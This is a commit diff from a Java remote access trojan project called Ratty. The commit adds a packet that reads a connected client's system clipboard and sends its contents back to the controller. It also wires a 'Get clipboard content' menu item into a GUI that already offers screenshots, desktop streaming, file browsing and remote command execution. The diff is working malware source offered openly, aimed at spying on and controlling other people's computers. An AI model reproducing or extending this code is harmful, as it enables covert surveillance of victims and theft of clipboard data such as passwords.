Browse Source

Major changes

Added ClipboardPacket class
Fixes and cleanups
master
Sogomn 9 years ago
parent
commit
ea272fab69
  1. BIN
      Ratty/res/icons.png
  2. BIN
      Ratty/res/menu_icons.png
  3. 1
      Ratty/src/de/sogomn/rat/ActiveClient.java
  4. 62
      Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java
  5. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  6. 9
      Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
  7. 126
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  8. 49
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

BIN
Ratty/res/icons.png

Before

Width: 48  |  Height: 32  |  Size: 414 B

BIN
Ratty/res/menu_icons.png

After

Width: 48  |  Height: 48  |  Size: 601 B

1
Ratty/src/de/sogomn/rat/ActiveClient.java

@ -101,6 +101,7 @@ public final class ActiveClient extends TCPConnection {
}
}
};
final Runnable readingRunnable = () -> {
while (isOpen()) {
final IPacket packet = readPacket();

62
Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java

@ -0,0 +1,62 @@
package de.sogomn.rat.packet;
import java.awt.HeadlessException;
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.UnsupportedFlavorException;
import java.io.IOException;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.server.gui.RattyGui;
public final class ClipboardPacket extends AbstractPingPongPacket {
private String clipboardContent;
public ClipboardPacket() {
type = REQUEST;
}
@Override
protected void sendRequest(final ActiveClient client) {
//...
}
@Override
protected void sendData(final ActiveClient client) {
client.writeUTF(clipboardContent);
}
@Override
protected void receiveRequest(final ActiveClient client) {
//...
}
@Override
protected void receiveData(final ActiveClient client) {
clipboardContent = client.readUTF();
}
@Override
protected void executeRequest(final ActiveClient client) {
type = DATA;
try {
final Object clipboardObject = Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor);
if (clipboardObject != null) {
clipboardContent = (String)clipboardObject;
}
} catch (final HeadlessException | UnsupportedFlavorException | IOException ex) {
clipboardContent = "";
}
client.addPacket(this);
}
@Override
protected void executeData(final ActiveClient client) {
RattyGui.showMessage(clipboardContent);
}
}

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -9,7 +9,8 @@ public enum PacketType {
FREE(4, FreePacket.class),
INFORMATION(5, InformationPacket.class),
COMMAND(6, CommandPacket.class),
DESKTOP(7, DesktopStreamPacket.class);
DESKTOP(7, DesktopStreamPacket.class),
CLIPBOARD(8, ClipboardPacket.class);
public final byte id;
public final Class<? extends IPacket> clazz;

9
Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@ -20,16 +20,9 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
private static final int SCREEN_WIDTH = 800;
private static final int SCREEN_HEIGHT = 600;
public ScreenshotPacket(final BufferedImage image) {
this.image = image;
type = DATA;
}
public ScreenshotPacket() {
this(NO_IMAGE);
type = REQUEST;
image = NO_IMAGE;
}
@Override

126
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -1,5 +1,6 @@
package de.sogomn.rat.server.gui;
import java.awt.Color;
import java.awt.Graphics2D;
import java.awt.Point;
import java.awt.event.ActionEvent;
@ -7,6 +8,7 @@ import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import javax.swing.JDialog;
import javax.swing.JFrame;
@ -30,6 +32,7 @@ public final class RattyGui {
private JTable table;
private DefaultTableModel tableModel;
private long lastIdClicked;
private JScrollPane scrollPane;
private JPopupMenu menu;
@ -43,26 +46,33 @@ public final class RattyGui {
"Name",
"IP address",
"OS",
"Version"
"Version",
"Streaming"
};
private static final int SCREEN_WIDTH = 800;
private static final int SCREEN_HEIGHT = 600;
private static final BufferedImage ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/icons.png", 16, 16).getSprites();
private static final BufferedImage GUI_ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 16, 16).getSprites();
public static final String POPUP = "Open popup";
public static final String SCREENSHOT = "Take screenshot";
public static final String DESKTOP = "View desktop";
public static final String DESKTOP = "Start desktop stream";
public static final String DESKTOP_STOP = "Stop desktop stream";
public static final String FILES = "Browse files";
public static final String COMMAND = "Execute command";
public static final String CLIPBOARD = "Get clipboard content";
public static final String FREE = "Free client";
public static final String[] ACTION_COMMANDS = {
public static final String[] COMMANDS = {
POPUP,
SCREENSHOT,
DESKTOP,
DESKTOP_STOP,
FILES,
COMMAND,
CLIPBOARD,
FREE
};
@ -70,18 +80,14 @@ public final class RattyGui {
frame = new JFrame();
table = new JTable();
tableModel = (DefaultTableModel)table.getModel();
scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
menu = new JPopupMenu();
for (int i = 0; i < ACTION_COMMANDS.length && i < MENU_ICONS.length; i++) {
final String command = ACTION_COMMANDS[i];
final JMenuItem item = new JMenuItem(command);
for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) {
final String command = COMMANDS[i];
final ImageIcon icon = new ImageIcon(MENU_ICONS[i]);
item.setActionCommand(command);
item.addActionListener(this::menuItemClicked);
item.setIcon(icon);
menu.add(item);
addMenuItem(command, icon);
}
final MouseAdapter mouseAdapter = new MouseAdapter() {
@ -94,24 +100,44 @@ public final class RattyGui {
}
};
scrollPane.setBorder(null);
tableModel.setColumnIdentifiers(HEADERS);
table.setEnabled(false);
table.setComponentPopupMenu(menu);
table.addMouseListener(mouseAdapter);
final JScrollPane scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
scrollPane.setBorder(null);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setContentPane(scrollPane);
frame.pack();
frame.setLocationByPlatform(true);
frame.setIconImage(ICON);
frame.setIconImage(GUI_ICON);
frame.setVisible(true);
frame.requestFocus();
}
private Screen createScreen(final int width, final int height) {
final Screen screen = new Screen(width, height);
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
screen.setBackgroundColor(Color.BLACK);
screen.addListener(g -> {
g.drawImage(image, 0, 0, null);
});
return screen;
}
private void addMenuItem(final String name, final Icon icon) {
final JMenuItem item = new JMenuItem(name);
item.setActionCommand(name);
item.addActionListener(this::menuItemClicked);
item.setIcon(icon);
menu.add(item);
}
private void menuItemClicked(final ActionEvent a) {
if (controller == null) {
return;
@ -131,36 +157,44 @@ public final class RattyGui {
g.dispose();
}
private void drawToScreenImage(final IFrame frame) {
drawToScreenImage(frame.image, frame.x, frame.y);
}
private void openScreen(final int width, final int height) {
public void openScreen(final int width, final int height) {
if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) {
if (screen != null) {
screen.close();
}
screen = new Screen(width, height);
screen.addListener(g -> {
g.drawImage(image, 0, 0, null);
});
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
screen = createScreen(width, height);
}
screen.show();
screen.redraw();
}
public void addRow(final long id, final String name, final String address, final String os, final String version) {
final Object[] data = {id, name, address, os, version};
public void showImage(final BufferedImage image) {
this.image = image;
final int width = image.getWidth();
final int height = image.getHeight();
openScreen(width, height);
}
public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) {
if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) {
image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB);
}
drawToScreenImage(frame.image, frame.x, frame.y);
openScreen(screenWidth, screenHeight);
}
public void addTableRow(final long id, final String name, final String address, final String os, final String version) {
final Object[] data = {id, name, address, os, version, false};
tableModel.addRow(data);
}
public void removeRow(final long id) {
public void removeTableRow(final long id) {
final int rows = tableModel.getRowCount();
for (int i = 0; i < rows; i++) {
@ -174,22 +208,16 @@ public final class RattyGui {
}
}
public void showImage(final BufferedImage image) {
this.image = image;
final int width = image.getWidth();
final int height = image.getHeight();
public void setStreaming(final long id, final boolean state) {
final int rows = tableModel.getRowCount();
openScreen(width, height);
}
public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) {
if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) {
image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB);
for (int i = 0; i < rows; i++) {
final long rowId = (Long)tableModel.getValueAt(i, 0);
if (rowId == id) {
tableModel.setValueAt(state, i, 5); //Column 5 = Streaming
}
}
drawToScreenImage(frame);
openScreen(screenWidth, screenHeight);
}
public void setController(final IGuiController controller) {
@ -200,6 +228,10 @@ public final class RattyGui {
return lastIdClicked;
}
public boolean isScreenVisible() {
return screen.isVisible();
}
public static void showMessage(final String message) {
final JOptionPane optionPane = new JOptionPane(message);
final JDialog dialog = optionPane.createDialog(null);

49
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -5,6 +5,7 @@ import java.util.ArrayList;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.DesktopStreamPacket;
import de.sogomn.rat.packet.FreePacket;
@ -18,8 +19,6 @@ import de.sogomn.rat.util.FrameEncoder.IFrame;
public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController {
private boolean streamingDesktop;
private RattyGui gui;
private ArrayList<ServerClient> clients;
@ -33,7 +32,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
gui.setController(this);
}
private ServerClient getClient(final long id) {
private ServerClient getServerClient(final long id) {
for (final ServerClient client : clients) {
if (client.id == id) {
return client;
@ -43,7 +42,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
return null;
}
private ServerClient getClient(final ActiveClient client) {
private ServerClient getServerClient(final ActiveClient client) {
for (final ServerClient serverClient : clients) {
if (serverClient.client == client) {
return serverClient;
@ -62,6 +61,10 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
return new ScreenshotPacket();
} else if (command == RattyGui.COMMAND) {
return CommandPacket.create();
} else if (command == RattyGui.DESKTOP) {
return new DesktopStreamPacket(true);
} else if (command == RattyGui.CLIPBOARD) {
return new ClipboardPacket();
}
return null;
@ -71,25 +74,26 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
public void packetReceived(final ActiveClient client, final IPacket packet) {
if (packet instanceof InformationPacket) {
final InformationPacket information = (InformationPacket)packet;
final long id = getClient(client).id;
final long id = getServerClient(client).id;
final String name = information.getName();
final String address = client.getAddress();
final String os = information.getOS();
final String version = information.getVersion();
gui.addRow(id, name, address, os, version);
gui.addTableRow(id, name, address, os, version);
} else if (packet instanceof ScreenshotPacket) {
final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
final BufferedImage image = screenshot.getImage();
gui.showImage(image);
} else if (packet instanceof DesktopStreamPacket) {
final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
final IFrame frame = stream.getFrame();
final int screenWidth = stream.getScreenWidth();
final int screenHeight = stream.getScreenHeight();
final ServerClient serverClient = getServerClient(client);
if (streamingDesktop) {
if (serverClient.streamingDesktop) {
final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
final IFrame frame = stream.getFrame();
final int screenWidth = stream.getScreenWidth();
final int screenHeight = stream.getScreenHeight();
final DesktopStreamPacket request = new DesktopStreamPacket();
gui.showFrame(frame, screenWidth, screenHeight);
@ -119,19 +123,20 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
@Override
public void userInput(final String command) {
final long lastIdClicked = gui.getLastIdClicked();
final ActiveClient client = getClient(lastIdClicked).client;
final ServerClient serverClient = getServerClient(lastIdClicked);
final ActiveClient client = serverClient.client;
final IPacket packet = getPacket(command);
if (packet != null) {
client.addPacket(packet);
} else if (command == RattyGui.DESKTOP) {
final DesktopStreamPacket stream = new DesktopStreamPacket(false);
streamingDesktop = true;
client.addPacket(stream);
}
if (command == RattyGui.DESKTOP) {
serverClient.streamingDesktop = true;
gui.setStreaming(lastIdClicked, true);
} else if (command == RattyGui.DESKTOP_STOP) {
streamingDesktop = false;
serverClient.streamingDesktop = false;
gui.setStreaming(lastIdClicked, false);
}
}
@ -147,17 +152,19 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
}
public void removeClient(final ActiveClient client) {
final long id = getClient(client).id;
final long id = getServerClient(client).id;
client.setObserver(null);
client.close();
clients.remove(client);
gui.removeRow(id);
gui.removeTableRow(id);
}
private final class ServerClient {
private boolean streamingDesktop;
final long id;
final ActiveClient client;

Loading…
Cancel
Save